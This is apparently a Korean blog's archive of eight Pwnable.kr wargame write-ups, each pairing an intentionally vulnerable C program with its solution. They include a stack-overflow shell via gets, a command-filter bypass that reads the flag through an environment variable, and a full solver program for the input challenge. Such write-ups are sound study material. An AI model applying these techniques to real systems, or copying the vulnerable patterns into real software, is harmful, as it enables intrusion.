'Pwnable.kr'에 해당되는 글 8건

  1. 2015.08.15 [4pt]input by Hugh_K
  2. 2015.08.07 [3pt]collision by Hugh_K
  3. 2015.08.06 [1pt]mistake by Hugh_K
  4. 2015.08.06 [1pt]cmd1 by Hugh_K
  5. 2015.08.06 [1pt]fd by Hugh_K
  6. 2015.08.06 [5pt]bof by Hugh_K
  7. 2015.08.06 [1pt]random by Hugh_K
  8. 2015.08.06 [2pt]lotto by Hugh_K

[4pt]input

Pwnable.kr 2015. 8. 15. 20:05
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){	
		printf("Welcome to pwnable.kr\n");
		printf("Let's see if you know how to give input to program\n");
		printf("Just give me correct inputs then you will get the flag :)\n");

		// argv
		if(argc != 100) return 0;
		if(strcmp(argv['A'],"\x00")) return 0;
		if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
		printf("Stage 1 clear!\n");

		// stdio
		char buf[4];
		read(0, buf, 4);
		if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
		read(2, buf, 4);
		if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
		printf("Stage 2 clear!\n");

		// env
		if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
		printf("Stage 3 clear!\n");

		// file
		FILE* fp = fopen("\x0a", "r");
		if(!fp) return 0;
		if( fread(buf, 4, 1, fp)!=1 ) return 0;
		if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
		fclose(fp);
		printf("Stage 4 clear!\n");

		// network
		int sd, cd;
		struct sockaddr_in saddr, caddr;
		sd = socket(AF_INET, SOCK_STREAM, 0);
		if(sd == -1){
				printf("socket error, tell admin\n");
				return 0;
		}
		saddr.sin_family = AF_INET;
		saddr.sin_addr.s_addr = INADDR_ANY;
		saddr.sin_port = htons( atoi(argv['C']) );
		if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
				printf("bind error, use another port\n");
				return 1;
		}
		listen(sd, 1);
		int c = sizeof(struct sockaddr_in);
		cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
		if(cd < 0){
				printf("accept error, tell admin\n");
				return 0;
		}
		if( recv(cd, buf, 4, 0) != 4 ) return 0;
		if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
		printf("Stage 5 clear!\n");

		// here's your flag
		system("/bin/cat flag");
		return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define STDIN 0
#define STDERR 2 

int main(){
	int pipes_si[2];
	int pipes_se[2];

	if((pipe(pipes_si)==-1)) { printf("error in pipes_si\n"); exit(1); }
	if((pipe(pipes_se)==-1)) { printf("error in pipes_se\n"); exit(1); }

	if(fork()){
		dup2(pipes_si[0], STDIN); close(pipes_si[0]); close(pipes_si[1]);
		dup2(pipes_se[0], STDERR); close(pipes_se[0]); close(pipes_se[1]);

		char *i_argv[101] = {[0 ... 99] = "A"};
		i_argv[65] = "\x00";
		i_argv[66] = "\x20\x0a\x0d";
		char *i_env[] = { "\xde\xad\xbe\xef=\xca\xfe\xba\xbe" };

		FILE* fp = fopen("\x0a", "a");
		if(!fp) printf("fp error\n");
		if( fwrite("\x00\x00\x00\x00", 4, 1, fp)!=1) printf("fwrite error\n");
		fclose(fp);

		execve("/home/input/input", i_argv, i_env);
	}
	else{
		write(pipes_si[1], "\x00\x0a\x00\xff", 4);
		write(pipes_se[1], "\x00\x0a\x02\xff", 4);

		sleep(2);
		int client;
		struct sockaddr_in c_addr;
		client = socket(AF_INET, SOCK_STREAM, 0);
		if(client == -1){
			printf("socket error, tell admin\n");
			return 0;
		}
		c_addr.sin_family = AF_INET;
		c_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
		c_addr.sin_port = htons( 25005 );

		if( -1 == connect(client, (struct sockaddr*)&c_addr, sizeof(c_addr)))
		{
			printf("connection fail\n");
			exit(1);
		}
		write(client, "\xde\xad\xbe\xef", 4);
		sleep(3);
		close(client);
	}
}



Introduction:

  본 문제는 input이라는 프로그램과 커뮤니케이션 하며, 프로그램에서 요구하는 정보를 전달해 주는 문제. input이 요구하는 정답을 하나씩 넣어주면 스테이지가 하나씩 클리어 되고, 모든 스테이지가 클리어 되면 마지막에 flag를 출력함


How to solve:

  사실 어떻게 푼다는 것을 설명하는 것은 조금 어려울 것 같고, 그냥 프로그램이 요구하는 결과들을 하나씩 넣어주면 풀리게 된다. 시스템의 /tmp에 개인용 폴더를 만들고, 여기에서 익스플로잇을 작성해 돌렸다.

  문제를 풀며 한 가지 고민을 하게 만들었던 것이 있는데, 2번 째 스크립트의 20번 줄에 배열을  100칸만 선언하면 이상하게 부모프로세스에서 자식프로세스에서 실행된 input이라는 프로그램에 값을 넣어줘도 아무런 출력을 하지 않았다는 것이다. 이에 대한 것은 사실 아직도 잘 모르겠다.. (쨋든 101칸 이상을 선언하면 정상적으로 출력이 된다..) 

  이렇게 해서 stage 5 clear까지 화면에 출력되게 한 후 flag의 내용을 봐야하는데, 이를 위해 flag를 익스플로잇을 작성했던 개인용 폴더로 옮겨와야 한다. 하지만 권한 문제로 flag파일 본체를 개인 폴더로 옮겨올 수는 없으므로, 그림 1과 같이 심볼릭 링크를 이용하였다.


<그림 1> 익스플로잇을 작성하던 폴더에 flag파일의 심볼릭 링크를 만듬


<그림 2> 문제 해결


References:

1) 여러 시스템 함수들 - http://forum.falinux.com/zbxe/index.php?_filter=search&mid=C_LIB&search_target=title&search_keyword=recv&document_srl=441107

2) 어떤 분이 올려주신 답안 - http://rk700.github.io/writeup/2014/11/16/input/

'Pwnable.kr' 카테고리의 다른 글

[3pt]collision  (0) 2015.08.07
[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
Posted by Hugh_K
l

[3pt]collision

Pwnable.kr 2015. 8. 7. 10:07
#include <stdio.h> 
#include <string.h> 
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}


Introduction:

  문제를 보면 char형으로 입력받은 20개의 문자를 int형으로 캐스팅 한 후 res라는 변수에 중첩해서 더하는 것을 볼 수 있음. 즉, 입력받은 20개의 문자는 4문자 단위로 나눠져 int형 배열에 저장되며, flag의 내용을 보기 위해서는 이렇게 나뉘어진 int형 배열의 값이 중첩되어 더해진 res변수의 결과값이 "0x21DD09EC"가 되게 하면 됨.


How to solve:

  그림 1은 어떻게 하면 res의 값이 "0x21DD09EC"가 되게 할 수 있을지를 확인하기 위해 수행된 실험이다. "0x21DD09EC"를 5로 나눠 10진법으로 나타내었을 때 "113626824"가 나왔고, 이 값에 다시 5를 곱해보니 "568134120"(a)이라는 결과가 나왔다. "0x21DD09EC"을 10진법으로 나타내었을 때의 값은 "568134124"(b)인데, 이는 (a)와 4만큼 차이나는 결과이다. 따라서 flag의 값을 확인하기 위해서는 "113626824"*4 + "113626824"+4의 결과가 입력되어야 할 것이다. 답을 확인하기 위해 그림 2와 같이 결과를 입력하였고, 그림 3과 같은 결과가 도출되었다.


<그림 1> int형 배열 5개의 합이 "0x21DD09EC"가 되어야 하므로 "0x21DD09EC"를 5로 나눠봄


<그림 2> int형 배열의 값과 res의 값을 확인하기 위해 화면에 출력


<그림 3> 계산한 값을 입력한 결과 답을 얻음



'Pwnable.kr' 카테고리의 다른 글

[4pt]input  (0) 2015.08.15
[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
Posted by Hugh_K
l

[1pt]mistake

Pwnable.kr 2015. 8. 6. 22:20
#include <stdio.h> 
#include <fcntl.h> 

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}


Introduction: 

 본 문제 에서는 프로그램이 password파일을 읽어 pw_buf에 대입하고, 사용자로 부터 pw_buf2의 값을 입력 받아 비밀번호를 검증하는 문제처럼 보인다. 코드를 보면 password의 값과 XORKEY문자가 xor연산된 결과값을 알아내 입력해야 되는 것 처럼 보이나 실제로 프로그램을 실행해 보면 pw_buf에 들어가는 값은 password문서의 내용이 아니라 사용자로 부터 입력된 값이다. 


How to solve: 

 프로그램에서는 사용자로부터 입력받은 10글자를 xor함수로 보내어 XORKEY와 xor연산을 수행한다. 즉, 프로그램을 실행해 첫 번째 표준입력에 XORKEY0000을 입력하면 이 값은 pw_buf에 저장된다. 이 때 두 번째 표준입력에는 YNSJDX1111를 입력하게 되면 xor함수를 통해 XORKEY ^ YNSJDX1111을 수행한 결과값, "XORKEY0000이 pw_buf2에 저장되고, 이 값은 첫 번째 표준입력을 통해 pw_buf에 저장된 값과 일치하므로 프로그램은 flag의 내용을 출력해준다. 


Command line: 

mistake@ubuntu:~$ ./mistake 

do not bruteforce... 

XORKEY0000 

input password : YNSJDX1111 

Password OK 

Mommy, ~!@#$%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+


Appendix:



'Pwnable.kr' 카테고리의 다른 글

[4pt]input  (0) 2015.08.15
[3pt]collision  (0) 2015.08.07
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
Posted by Hugh_K
l

[1pt]cmd1

Pwnable.kr 2015. 8. 6. 22:18

#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }


Introduction:

본 문제는 환경변수를 이용해 flag를 출력하는 문제


Command line:

cmd1@ubuntu:/tmp/Aitch_cmd1$ export F="/bin/cat /home/cmd1/flag"

cmd1@ubuntu:/tmp/Aitch_cmd1$ /home/cmd1/cmd1 \${F}

mommy ~!@#%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+

cmd1@ubuntu:/tmp/Aitch_cmd1$ 



Reference:

1) 환경변수 - linux: http://kiros33.blog.me/220270849224

'Pwnable.kr' 카테고리의 다른 글

[3pt]collision  (0) 2015.08.07
[1pt]mistake  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
[1pt]random  (0) 2015.08.06
Posted by Hugh_K
l

[1pt]fd

Pwnable.kr 2015. 8. 6. 22:17
#include <stdio.h>

#include <stdlib.h>

#include <string.h>



char buf[32];

int main(int argc, char ** argv, char ** envp){



	int fd = atoi(argv[1]) - 0x1234;

	int len = 0;

	len = read(fd, buf, 32);



	strcpy("LETMEWIN\n", buf);



	printf("fd: %d\n", fd);

	printf("len: %d\n", len);

	printf("strcmp: %d\n", strcmp("LETMEWIN\n", buf));

}


Introduction:
  본 문제의 요점은 fd의 값을 0(stdin)으로 맞추는 것이다. 


How to solve:
 문제를 해결하기 위해 프로그램의 인자로 4660(0x1234)을 주게 되면 0번 줄의 연산을 통해 fd의 값이 0으로 맞춰지고, 그에 따라 프로그램은 표준 입력을 받게 된다. 이 때 표준 입력에 문자열 "LETMEWIN"을 넣어주면 문제가 해결된다.


Command line:
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! ~!@#$%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+
fd@ubuntu:~$ 


Future work:

  문제를 풀 때 ./fd 4660이 아닌 ./fd 4661이나 ./fd 4662를 입력해도 동일 한 방법으로 표준 입력이 열리는 것을 확인했다. fd가 0(stdin)이 아닌 1(stdout), 2(stderr)인데도 표준입력이 열리는 이유에 대해 확인 해 볼 필요를 느꼈다.

'Pwnable.kr' 카테고리의 다른 글

[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
[1pt]random  (0) 2015.08.06
[2pt]lotto  (0) 2015.08.06
Posted by Hugh_K
l

[5pt]bof

Pwnable.kr 2015. 8. 6. 22:15
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!

	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}


Introduction:

  간단한 bof문제, main안에 func함수 인자로 "0xdeedbeef"를 받고 있는데, 이 부분을 "0xcafebabe"로 덮어 씌우면 됨


How to solve:

  소스코드에서 func함수 시작 시 캐릭터형 배열 32칸을 만든 것을 확인하여, 일단 표준 입력에 "A"를 32개 입력해보았다. 그 결과 그림 1과 같은 결과가 나타났는데, 32칸의 스택이 A(0x41로) 채워진 후 "0xdeadbeef"까지 덮으려면 약 20바이트를 더 채워야 되는 것을 확인할 수 있다. 이에 따라 그림 2와 같이 명령어를 작성하여 다시 공격해 보았다.

<그림 1> 프로그램 실행중 스택을 캡쳐


  그림 2는 "A"로 52바이트를 채운 후 마지막에 "0xcafebabe"을 붙여 스택에 있던 "0xdeadbeef" 를 덮어씌우는 명령어를 작성해 공격을 수행하는 과정을 나타낸다. 다음과 같이 공격을 수행했을 때 정상적으로 쉘을 얻어낸 것을 확인하였다.

<그림 2> flag 정보 획득




'Pwnable.kr' 카테고리의 다른 글

[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[1pt]random  (0) 2015.08.06
[2pt]lotto  (0) 2015.08.06
Posted by Hugh_K
l

[1pt]random

Pwnable.kr 2015. 8. 6. 22:14
#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!
        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}



Introduction:
  본 문제는 rand()함수를 통해 만들어진 랜덤값과 표준입력을 통해 받은 key값에 xor연산을 수행하여 나온 결과가 0xdeadbeef가 될 경우 flag를 출력

How to solve:
  일단 rand()함수에는 seed값이 들어있지 않으므로, 계속 같은 값을 생성할 것이다. ltrace명령어를 이용하면 rand()함수를 통해 생성되는 값을 볼 수 있다. 그림 1은 ltrace명령어를 통해 rand값이 0x6b8b4567임을 확인한 그림이며, 그림 2는 그림 1에서 확인한 갑과 0xdeadbeef값을 xor하여 key값을 계산한 그림이다. 이렇게 얻어낸 key값을 프로그램에 입력하면 문제가 해결된다.

<그림 1> ltrace를 이용해 랜덤값을 확인


<그림 2> key값을 계산하기 위해 랜덤값(0x6b8b4567)과 0xdeadbeef를 연산


'Pwnable.kr' 카테고리의 다른 글

[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
[2pt]lotto  (0) 2015.08.06
Posted by Hugh_K
l

[2pt]lotto

Pwnable.kr 2015. 8. 6. 21:37
        unsigned char lotto[6];

        if(read(fd, lotto, 6) != 6){

                printf("error2. tell admin\n");

                exit(-1);

        }

        for(i=0; i<6; i++){

                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45

        }

        close(fd);



        // calculate lotto score

        int match = 0, j = 0;

        for(i=0; i<6; i++){

                for(j=0; j<6; j++){

                        if(lotto[i] == submit[j]){

                                match++;

                        }

                }

        }



        // win!

        if(match == 6){

                system("/bin/cat flag");

        }

        else{

                printf("bad luck...\n");

        }


Introduction:

  본 문제는 사용자가 6자리의 문자를 입력하여 프로그램에서 생성한 6자리의 번호를 맞추는 문제. 

How to solve:

  프로그램을 조작해 lotto배열과 submit배열의 값, 그리고 match의 값을 출력해보면 본 프로그램은 로직상 문제가 있음을 확인할 수 있다. 그림 1에서 나타나듯, 각 배열의 값을 비교하는 로직은 lotto의 배열의 1문자에 대해 submit배열의 6문자를 비교하게 된다.(설명이 좀 이상한듯..) 즉, 인풋 값으로 "\x20\x20\x20\x20\x20\x20"을 넣었을 때 match==6의 상황(line 43)은 실제 로또의 확률보다 훨씬 높은 확률로 나타나게 되고, 이정도 확률은 BF를 수행해도 쉽게 답을 얻을 수 있을 정도로 빈번하게 나타난다.

<그림 1> lotto배열과 submit배열, 그리고 match값을 출력한 결과


Command line:

Submit your 6 lotto bytes :       

Lotto Start!

bad luck...

- Select Menu -

1. Play Lotto

2. Help

3. Exit

1

Submit your 6 lotto bytes :       

Lotto Start!

sorry mom... ~!@#$%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+

- Select Menu -

1. Play Lotto

2. Help

3. Exit

'Pwnable.kr' 카테고리의 다른 글

[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
[1pt]random  (0) 2015.08.06
Posted by Hugh_K
l